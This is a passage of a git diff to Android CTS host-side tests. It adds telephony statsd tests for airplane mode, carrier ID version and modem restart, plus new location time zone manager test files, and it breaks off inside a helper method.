-        // Add commit callback time to test end time to account for async execution
-        final long testEndTimeMs =
-                getDeviceTimeMs() + BLOB_COMMIT_CALLBACK_TIMEOUT_SEC * 1000;
-
-        // Find the BlobInfo for the blob created in the test run
-        AtomsProto.BlobInfo blobInfo = null;
-        for (Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
-            if (atom.hasBlobInfo()) {
-                final AtomsProto.BlobInfo temp = atom.getBlobInfo();
-                if (temp.getCommitters().getCommitter(0).getUid()
-                        == DeviceUtils.getStatsdTestAppUid(getDevice())) {
-                    blobInfo = temp;
-                    break;
-                }
-            }
-        }
-        assertThat(blobInfo).isNotNull();
-
-        assertThat(blobInfo.getSize()).isEqualTo(BLOB_FILE_SIZE_BYTES);
-
-        // Check that expiry time is reasonable
-        assertThat(blobInfo.getExpiryTimestampMillis()).isGreaterThan(
-                testStartTimeMs + BLOB_EXPIRY_DURATION_MS);
-        assertThat(blobInfo.getExpiryTimestampMillis()).isLessThan(
-                testEndTimeMs + BLOB_EXPIRY_DURATION_MS);
-
-        // Check that commit time is reasonable
-        final long commitTimeMs = blobInfo.getCommitters().getCommitter(
-                0).getCommitTimestampMillis();
-        assertThat(commitTimeMs).isGreaterThan(testStartTimeMs);
-        assertThat(commitTimeMs).isLessThan(testEndTimeMs);
-
-        // Check that WHITELIST and PRIVATE access mode flags are set
-        assertThat(blobInfo.getCommitters().getCommitter(0).getAccessMode()).isEqualTo(0b1001);
-        assertThat(blobInfo.getCommitters().getCommitter(0).getNumWhitelistedPackage()).isEqualTo(
-                1);
-
-        assertThat(blobInfo.getLeasees().getLeaseeCount()).isGreaterThan(0);
-        assertThat(blobInfo.getLeasees().getLeasee(0).getUid()).isEqualTo(
-                DeviceUtils.getStatsdTestAppUid(getDevice()));
-
-        // Check that lease expiry time is reasonable
-        final long leaseExpiryMs = blobInfo.getLeasees().getLeasee(
-                0).getLeaseExpiryTimestampMillis();
-        assertThat(leaseExpiryMs).isGreaterThan(testStartTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
-        assertThat(leaseExpiryMs).isLessThan(testEndTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
-    }
-
-    private void assertDataUsageAtomDataExpected(long rxb, long txb, long rxp, long txp) {
-        assertThat(rxb).isGreaterThan(0L);
-        assertThat(txb).isGreaterThan(0L);
-        assertThat(rxp).isGreaterThan(0L);
-        assertThat(txp).isGreaterThan(0L);
-    }
-
-//    private void doTestMobileBytesTransferThat(int atomTag, ThrowingPredicate p)
-//            throws Throwable {
-//        if (!hasFeature(FEATURE_TELEPHONY, true)) return;
-//
-//        // Get MobileBytesTransfer as a simple gauge metric.
-//        final StatsdConfig.Builder config = getPulledConfig();
-//        addGaugeAtomWithDimensions(config, atomTag, null);
-//        uploadConfig(config);
-//        Thread.sleep(WAIT_TIME_SHORT);
-//
-//        // Generate some traffic on mobile network.
-//        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testGenerateMobileTraffic");
-//        Thread.sleep(WAIT_TIME_SHORT);
-//
-//        // Force polling NetworkStatsService to get most updated network stats from lower layer.
-//        runActivity("StatsdCtsForegroundActivity", "action", "action.poll_network_stats");
-//        Thread.sleep(WAIT_TIME_SHORT);
-//
-//        // Pull a report
-//        setAppBreadcrumbPredicate();
-//        Thread.sleep(WAIT_TIME_SHORT);
-//
-//        final List<Atom> atoms = getGaugeMetricDataList(/*checkTimestampTruncated=*/true);
-//        assertThat(atoms.size()).isAtLeast(1);
-//
-//        boolean foundAppStats = false;
-//        for (final Atom atom : atoms) {
-//            if (p.accept(atom)) {
-//                foundAppStats = true;
-//            }
-//        }
-//        assertWithMessage("uid " + getUid() + " is not found in " + atoms.size() + " atoms")
-//                .that(foundAppStats).isTrue();
-//    }
-
-    @FunctionalInterface
-    private interface ThrowingPredicate<S, T extends Throwable> {
-        boolean accept(S s) throws T;
-    }
 
     public void testAppForegroundBackground() throws Exception {
         Set<Integer> onStates = new HashSet<>(Arrays.asList(
@@ -1107,9 +855,4 @@
     private void setScreenBrightness(int brightness) throws Exception {
         getDevice().executeShellCommand("settings put system screen_brightness " + brightness);
     }
-
-    private long getDeviceTimeMs() throws Exception {
-        String timeMs = getDevice().executeShellCommand("date +%s%3N");
-        return Long.parseLong(timeMs.trim());
-    }
 }
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
index 6b937de..8d18f0e 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
@@ -25,6 +25,7 @@
 import android.telephony.NetworkTypeEnum;
 
 import com.android.os.AtomsProto;
+import com.android.os.StatsLog.EventMetricData;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
@@ -147,6 +148,113 @@
         }
     }
 
+    public void testCarrierIdTableVersion() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        int expectedVersion = getCarrierIdTableVersion();
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.CARRIER_ID_TABLE_VERSION_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<AtomsProto.Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+        assertThat(data).isNotEmpty();
+        AtomsProto.CarrierIdTableVersion atom = data.get(0).getCarrierIdTableVersion();
+        assertThat(atom.getTableVersion()).isEqualTo(expectedVersion);
+    }
+
+    public void testAirplaneModeEvent_shortToggle() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.AIRPLANE_MODE_FIELD_NUMBER);
+
+        turnOnAirplaneMode();
+        // wait long enough for airplane mode events to propagate, but less than threshold for
+        // long toggle.
+        Thread.sleep(1_200);
+        turnOffAirplaneMode();
+        // wait long enough for airplane mode events to propagate.
+        Thread.sleep(1_200);
+
+        // Verify that we have at least one atom for enablement and one for disablement.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomsProto.AirplaneMode airplaneModeEnabledAtom = null;
+        AtomsProto.AirplaneMode airplaneModeDisabledAtom = null;
+        for (EventMetricData d : data) {
+            AtomsProto.AirplaneMode atom = d.getAtom().getAirplaneMode();
+            if (atom.getIsEnabled() && airplaneModeEnabledAtom == null) {
+                airplaneModeEnabledAtom = atom;
+            }
+            if (!atom.getIsEnabled() && airplaneModeDisabledAtom == null) {
+                airplaneModeDisabledAtom = atom;
+            }
+        }
+        assertThat(airplaneModeEnabledAtom).isNotNull();
+        assertThat(airplaneModeDisabledAtom).isNotNull();
+        assertThat(airplaneModeDisabledAtom.getShortToggle()).isTrue();
+    }
+
+    public void testAirplaneModeEvent_longToggle() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.AIRPLANE_MODE_FIELD_NUMBER);
+
+        turnOnAirplaneMode();
+        // wait long enough for long airplane mode toggle (10 seconds).
+        Thread.sleep(12_000);
+        turnOffAirplaneMode();
+        // wait long enough for airplane mode events to propagate.
+        Thread.sleep(1_200);
+
+        // Verify that we have at least one atom for enablement and one for disablement.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomsProto.AirplaneMode airplaneModeEnabledAtom = null;
+        AtomsProto.AirplaneMode airplaneModeDisabledAtom = null;
+        for (EventMetricData d : data) {
+            AtomsProto.AirplaneMode atom = d.getAtom().getAirplaneMode();
+            if (atom.getIsEnabled() && airplaneModeEnabledAtom == null) {
+                airplaneModeEnabledAtom = atom;
+            }
+            if (!atom.getIsEnabled() && airplaneModeDisabledAtom == null) {
+                airplaneModeDisabledAtom = atom;
+            }
+        }
+        assertThat(airplaneModeEnabledAtom).isNotNull();
+        assertThat(airplaneModeDisabledAtom).isNotNull();
+        assertThat(airplaneModeDisabledAtom.getShortToggle()).isFalse();
+    }
+
+    public void testModemRestart() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.MODEM_RESTART_FIELD_NUMBER);
+
+        // Restart modem. If the command fails, exit the test case.
+        boolean restart = restartModem();
+        if (!restart) {
+            return;
+        }
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // Verify that we have at least one atom for modem restart
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).isNotEmpty();
+    }
+
     private boolean hasGsmPhone() throws Exception {
         // Not using log entries or ServiceState in the dump since they may or may not be present,
         // which can make the test flaky
@@ -197,6 +305,12 @@
         return Math.toIntExact(count);
     }
 
+    private Queue<String> getTelephonyDumpEntries() throws Exception {
+        String response =
+                getDevice().executeShellCommand("dumpsys activity service TelephonyDebugService");
+        return new LinkedList<>(Arrays.asList(response.split("[\\r\\n]+")));
+    }
+
     /**
      * Returns a list of fields and values for {@code className} from {@link TelephonyDebugService}
      * output.
@@ -212,9 +326,7 @@
         Pattern classNamePattern = Pattern.compile("^(\\s*)" + Pattern.quote(className) + ":.*$");
         // Matches pattern for key-value pairs, e.g. "     mPhoneId=1"
         Pattern keyValuePattern = Pattern.compile("^(\\s*)([a-zA-Z]+[a-zA-Z0-9_]*)\\=(.+)$");
-        String response =
-                getDevice().executeShellCommand("dumpsys activity service TelephonyDebugService");
-        Queue<String> responseLines = new LinkedList<>(Arrays.asList(response.split("[\\r\\n]+")));
+        Queue<String> responseLines = getTelephonyDumpEntries();
 
         List<Map<String, String>> results = new ArrayList<>();
         while (responseLines.peek() != null) {
@@ -245,4 +357,32 @@
         }
         return results;
     }
+
+    private int getCarrierIdTableVersion() throws Exception {
+        Queue<String> responseLines = getTelephonyDumpEntries();
+        for (String line : responseLines) {
+            if (line.contains("carrier_list_version")) {
+                String version = line.replaceFirst("^\\s*carrier_list_version:\\s*", "");
+                try {
+                    return Integer.parseInt(version);
+                } catch (NumberFormatException e) {
+                    return 0;
+                }
+            }
+        }
+        return 0;
+    }
+
+    private void turnOnAirplaneMode() throws Exception {
+        getDevice().executeShellCommand("cmd connectivity airplane-mode enable");
+    }
+
+    private void turnOffAirplaneMode() throws Exception {
+        getDevice().executeShellCommand("cmd connectivity airplane-mode disable");
+    }
+
+    private boolean restartModem() throws Exception {
+        String response = getDevice().executeShellCommand("cmd phone restart-modem");
+        return response.contains("true");
+    }
 }
diff --git a/hostsidetests/time/Android.bp b/hostsidetests/time/Android.bp
new file mode 100644
index 0000000..4a17818
--- /dev/null
+++ b/hostsidetests/time/Android.bp
@@ -0,0 +1,21 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsLocationTimeZoneManagerHostTest",
+    srcs:  ["host/src/**/*.java"],
+    libs: ["cts-tradefed", "tradefed"],
+    test_suites: ["general-tests", "cts"],
+    test_config: "host/AndroidTest.xml",
+}
diff --git a/hostsidetests/time/OWNERS b/hostsidetests/time/OWNERS
new file mode 100644
index 0000000..a81fa72
--- /dev/null
+++ b/hostsidetests/time/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 847766
+nfuller@google.com
+include platform/frameworks/base:/core/java/android/app/timedetector/OWNERS
diff --git a/hostsidetests/time/TEST_MAPPING b/hostsidetests/time/TEST_MAPPING
new file mode 100644
index 0000000..1ce59ee
--- /dev/null
+++ b/hostsidetests/time/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLocationTimeZoneManagerHostTest"
+    }
+  ]
+}
diff --git a/hostsidetests/time/host/AndroidTest.xml b/hostsidetests/time/host/AndroidTest.xml
new file mode 100644
index 0000000..404f44d
--- /dev/null
+++ b/hostsidetests/time/host/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Host test for location_time_zone_manager service">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="class" value="android.time.cts.host.LocationTimeZoneManagerHostTest" />
+    </test>
+</configuration>
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java b/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java
new file mode 100644
index 0000000..dab7e33
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+/**
+ * Constants related to the LocationManager service shell commands.
+ */
+final class LocationManager {
+
+    /**
+     * The name of the service for shell commands,
+     */
+    static final String SHELL_COMMAND_SERVICE_NAME = "location";
+
+    /**
+     * A shell command that sets the current user's "location enabled" setting value.
+     */
+    static final String SHELL_COMMAND_SET_LOCATION_ENABLED = "set-location-enabled";
+
+    /**
+     * A shell command that gets the current user's "location enabled" setting value.
+     */
+    static final String SHELL_COMMAND_IS_LOCATION_ENABLED = "is-location-enabled";
+
+    private LocationManager() {
+        // No need to instantiate.
+    }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManager.java b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManager.java
new file mode 100644
index 0000000..ba24123
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManager.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+/**
+ * Constants related to the LocationTimeZoneManager service that are used by shell commands and
+ * tests.
+ *
+ * <p>See {@link android.app.time.LocationTimeZoneManager} for the device-side class that holds
+ * this information.
+ *
+ * @hide
+ */
+final class LocationTimeZoneManager {
+
+    /**
+     * The name of the primary location time zone provider, used for shell commands.
+     */
+    static final String PRIMARY_PROVIDER_NAME = "primary";
+
+    /**
+     * The name of the secondary location time zone provider, used for shell commands.
+     */
+    static final String SECONDARY_PROVIDER_NAME = "secondary";
+
+    /**
+     * The name of the service for shell commands.
+     */
+    static final String SHELL_COMMAND_SERVICE_NAME = "location_time_zone_manager";
+
+    /**
+     * A shell command that starts the service (after stop).
+     */
+    static final String SHELL_COMMAND_START = "start";
+
+    /**
+     * A shell command that stops the service.
+     */
+    static final String SHELL_COMMAND_STOP = "stop";
+
+    /**
+     * A shell command that can put providers into different modes. Takes effect next time the
+     * service is started.
+     */
+    static final String SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE = "set_provider_mode_override";
+
+    /**
+     * The default provider mode.
+     * For use with {@link #SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE}.
+     */
+    static final String PROVIDER_MODE_OVERRIDE_NONE = "none";
+
+    /**
+     * The "simulated" provider mode.
+     * For use with {@link #SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE}.
+     */
+    static final String PROVIDER_MODE_OVERRIDE_SIMULATED = "simulated";
+
+    /**
+     * The "disabled" provider mode (equivalent to there being no provider configured).
+     * For use with {@link #SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE}.
+     */
+    static final String PROVIDER_MODE_OVERRIDE_DISABLED = "disabled";
+
+    /**
+     * A shell command that tells the service to record state information during tests. The next
+     * argument value is "true" or "false".
+     */
+    static final String SHELL_COMMAND_RECORD_PROVIDER_STATES = "record_provider_states";
+
+    /**
+     * A shell command that tells the service to dump its current state.
+     */
+    static final String SHELL_COMMAND_DUMP_STATE = "dump_state";
+
+    /**
+     * Option for {@link #SHELL_COMMAND_DUMP_STATE} that tells it to dump state as a binary proto.
+     */
+    static final String DUMP_STATE_OPTION_PROTO = "proto";
+
+    /**
+     * A shell command that sends test commands to a provider
+     */
+    static final String SHELL_COMMAND_SEND_PROVIDER_TEST_COMMAND =
+            "send_provider_test_command";
+
+    /**
+     * Simulated provider test command that simulates the bind succeeding.
+     */
+    static final String SIMULATED_PROVIDER_TEST_COMMAND_ON_BIND = "on_bind";
+
+    /**
+     * Simulated provider test command that simulates a successful time zone detection.
+     */
+    static final String SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS = "success";
+
+    /**
+     * Argument for {@link #SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS} to specify TZDB time zone IDs.
+     */
+    static final String SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS_ARG_KEY_TZ = "tz";
+
+    private LocationTimeZoneManager() {
+        // No need to instantiate.
+    }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java
new file mode 100644
index 0000000..5cab935
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java
@@ -0,0 +1,269 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+
+import static android.time.cts.host.LocationManager.SHELL_COMMAND_IS_LOCATION_ENABLED;
+import static android.time.cts.host.LocationManager.SHELL_COMMAND_SET_LOCATION_ENABLED;
+import static android.time.cts.host.LocationTimeZoneManager.DUMP_STATE_OPTION_PROTO;
+import static android.time.cts.host.LocationTimeZoneManager.PRIMARY_PROVIDER_NAME;
+import static android.time.cts.host.LocationTimeZoneManager.PROVIDER_MODE_OVERRIDE_DISABLED;
+import static android.time.cts.host.LocationTimeZoneManager.PROVIDER_MODE_OVERRIDE_NONE;
+import static android.time.cts.host.LocationTimeZoneManager.PROVIDER_MODE_OVERRIDE_SIMULATED;
+import static android.time.cts.host.LocationTimeZoneManager.SECONDARY_PROVIDER_NAME;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_DUMP_STATE;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_RECORD_PROVIDER_STATES;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_SEND_PROVIDER_TEST_COMMAND;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_START;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_STOP;
+import static android.time.cts.host.LocationTimeZoneManager.SIMULATED_PROVIDER_TEST_COMMAND_ON_BIND;
+import static android.time.cts.host.LocationTimeZoneManager.SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS;
+import static android.time.cts.host.LocationTimeZoneManager.SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS_ARG_KEY_TZ;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_IS_AUTO_DETECTION_ENABLED;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_IS_GEO_DETECTION_ENABLED;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_SET_AUTO_DETECTION_ENABLED;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_SET_GEO_DETECTION_ENABLED;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.time.LocationTimeZoneManagerServiceStateProto;
+import android.app.time.TimeZoneProviderStateEnum;
+import android.app.time.TimeZoneProviderStateProto;
+
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.google.protobuf.Parser;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+import java.util.List;
+
+/** Host-side CTS tests for the location time zone manager service. */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class LocationTimeZoneManagerHostTest extends BaseHostJUnit4Test {
+
+    /**
+     * The values to use to return a provider to "enabled". It doesn't matter what it is providing
+     * it isn't one of the known mode values.
+     */
+    private static final String PROVIDER_MODE_ENABLED = "\"\"";
+
+    private boolean mOriginalLocationEnabled;
+    private boolean mOriginalAutoDetectionEnabled;
+    private boolean mOriginalGeoDetectionEnabled;
+
+    @Before
+    public void setUp() throws Exception {
+        assumeGeoDetectionSupported();
+
+        // All tests start with the location_time_zone_manager disabled so that providers can be
+        // configured.
+        stopLocationTimeZoneManagerService();
+
+        // Make sure locations is enabled, otherwise the geo detection feature will be disabled
+        // whatever the geolocation detection setting is set to.
+        mOriginalLocationEnabled = isLocationEnabledForCurrentUser();
+        if (!mOriginalLocationEnabled) {
+            setLocationEnabledForCurrentUser(true);
+        }
+
+        // Make sure automatic time zone detection is enabled, otherwise the geo detection feature
+        // will be disabled whatever the geolocation detection setting is set to
+        mOriginalAutoDetectionEnabled = isAutoDetectionEnabled();
+        if (!mOriginalAutoDetectionEnabled) {
+            setAutoDetectionEnabled(true);
+        }
+
+        // Make sure geolocation time zone detection is enabled.
+        mOriginalGeoDetectionEnabled = isGeoDetectionEnabled();
+        if (!mOriginalGeoDetectionEnabled) {
+            setGeoDetectionEnabled(true);
+        }
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        stopLocationTimeZoneManagerService();
+        setProviderOverrideMode(PRIMARY_PROVIDER_NAME, PROVIDER_MODE_OVERRIDE_NONE);
+        setProviderOverrideMode(SECONDARY_PROVIDER_NAME, PROVIDER_MODE_OVERRIDE_NONE);
+
+        // Reset settings.
+        if (!mOriginalGeoDetectionEnabled) {
+            setGeoDetectionEnabled(false);
+        }
+        if (!mOriginalAutoDetectionEnabled) {
+            setAutoDetectionEnabled(false);
+        }
+        if (!mOriginalLocationEnabled) {
+            setLocationEnabledForCurrentUser(false);
+        }
+
+        startLocationTimeZoneManagerService();
+    }
+
+    @Test
+    public void testSecondarySuggestion() throws Exception {
+        setProviderOverrideMode(PRIMARY_PROVIDER_NAME, PROVIDER_MODE_OVERRIDE_DISABLED);
+        setProviderOverrideMode(SECONDARY_PROVIDER_NAME, PROVIDER_MODE_OVERRIDE_SIMULATED);
+        startLocationTimeZoneManagerService();
+        setLocationTimeZoneManagerStateRecordingMode(true);
+
+        simulateProviderBind(SECONDARY_PROVIDER_NAME);
+        simulateProviderSuggestion(SECONDARY_PROVIDER_NAME, "Europe/London");
+
+        LocationTimeZoneManagerServiceStateProto serviceState =
+                dumpLocationTimeZoneManagerServiceState();
+        assertEquals(Arrays.asList("Europe/London"),
+                serviceState.getLastSuggestion().getZoneIdsList());
+
+        List<TimeZoneProviderStateProto> secondaryStates =
+                serviceState.getSecondaryProviderStatesList();
+        assertEquals(1, secondaryStates.size());
+        assertEquals(TimeZoneProviderStateEnum.TIME_ZONE_PROVIDER_STATE_CERTAIN,
+                secondaryStates.get(0).getState());
+    }
+
+    private LocationTimeZoneManagerServiceStateProto dumpLocationTimeZoneManagerServiceState()
+            throws Exception {
+        byte[] protoBytes = executeLocationTimeZoneManagerCommand(
+                "%s --%s", SHELL_COMMAND_DUMP_STATE, DUMP_STATE_OPTION_PROTO);
+        Parser<LocationTimeZoneManagerServiceStateProto> parser =
+                LocationTimeZoneManagerServiceStateProto.parser();
+        return parser.parseFrom(protoBytes);
+    }
+
+    private void setLocationTimeZoneManagerStateRecordingMode(boolean enabled) throws Exception {
+        String command = String.format("%s %s", SHELL_COMMAND_RECORD_PROVIDER_STATES, enabled);
+        executeLocationTimeZoneManagerCommand(command);
+    }
+
+    private boolean isLocationEnabledForCurrentUser() throws Exception {
+        byte[] result = executeLocationManagerCommand(SHELL_COMMAND_IS_LOCATION_ENABLED);
+        return parseShellCommandBytesAsBoolean(result);
+    }
+
+    private void setLocationEnabledForCurrentUser(boolean enabled) throws Exception {
+        executeLocationManagerCommand(
+                "%s %s", SHELL_COMMAND_SET_LOCATION_ENABLED, enabled);
+    }
+
+    private boolean isAutoDetectionEnabled() throws Exception {
+        byte[] result = executeTimeZoneDetectorCommand(SHELL_COMMAND_IS_AUTO_DETECTION_ENABLED);
+        return parseShellCommandBytesAsBoolean(result);
+    }
+
+    private static boolean parseShellCommandBytesAsBoolean(byte[] result) {
+        String resultString = new String(result, 0, result.length, StandardCharsets.ISO_8859_1);
+        if (resultString.startsWith("true")) {
+            return true;
+        } else if (resultString.startsWith("false")) {
+            return false;
+        } else {
+            throw new AssertionError("Command returned unexpected result: " + resultString);
+        }
+    }
+
+    private void setAutoDetectionEnabled(boolean enabled) throws Exception {
+        executeTimeZoneDetectorCommand("%s %s", SHELL_COMMAND_SET_AUTO_DETECTION_ENABLED, enabled);
+    }
+
+    private boolean isGeoDetectionEnabled() throws Exception {
+        byte[] result = executeTimeZoneDetectorCommand(SHELL_COMMAND_IS_GEO_DETECTION_ENABLED);
+        return parseShellCommandBytesAsBoolean(result);
+    }
+
+    private void setGeoDetectionEnabled(boolean enabled) throws Exception {
+        executeTimeZoneDetectorCommand("%s %s", SHELL_COMMAND_SET_GEO_DETECTION_ENABLED, enabled);
+    }
+
+    private void assumeGeoDetectionSupported() throws Exception {
+        assumeTrue(isGeoDetectionSupported());
+    }
+
+    private boolean isGeoDetectionSupported() throws Exception {
+        byte[] result = executeTimeZoneDetectorCommand(
+                TimeZoneDetector.SHELL_COMMAND_IS_GEO_DETECTION_SUPPORTED);
+        return parseShellCommandBytesAsBoolean(result);
+    }
+
+    private void startLocationTimeZoneManagerService() throws Exception {
+        executeLocationTimeZoneManagerCommand(SHELL_COMMAND_START);
+    }
+
+    private void stopLocationTimeZoneManagerService() throws Exception {
+        executeLocationTimeZoneManagerCommand(SHELL_COMMAND_STOP);
+    }
+
+    private void setProviderOverrideMode(String providerName, String mode) throws Exception {
+        executeLocationTimeZoneManagerCommand(
+                "%s %s %s", SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE, providerName, mode);
+    }
+
+    private void simulateProviderSuggestion(String providerName, String... zoneIds)
+            throws Exception {
+        String timeZoneIds = String.join("&", zoneIds);
+        String testCommand = String.format("%s %s=string_array:%s",
+                SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS,
+                SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS_ARG_KEY_TZ,
+                timeZoneIds);
+        executeProviderTestCommand(providerName, testCommand);
+    }
+
+    private void simulateProviderBind(String providerName) throws Exception {
+        executeProviderTestCommand(providerName, SIMULATED_PROVIDER_TEST_COMMAND_ON_BIND);
+    }
+
+    private void executeProviderTestCommand(String providerName, String testCommand)
+            throws Exception {
+        executeLocationTimeZoneManagerCommand("%s %s %s",
+                SHELL_COMMAND_SEND_PROVIDER_TEST_COMMAND, providerName, testCommand);
+    }
+
+    private byte[] executeLocationManagerCommand(String cmd, Object... args)
+            throws Exception {
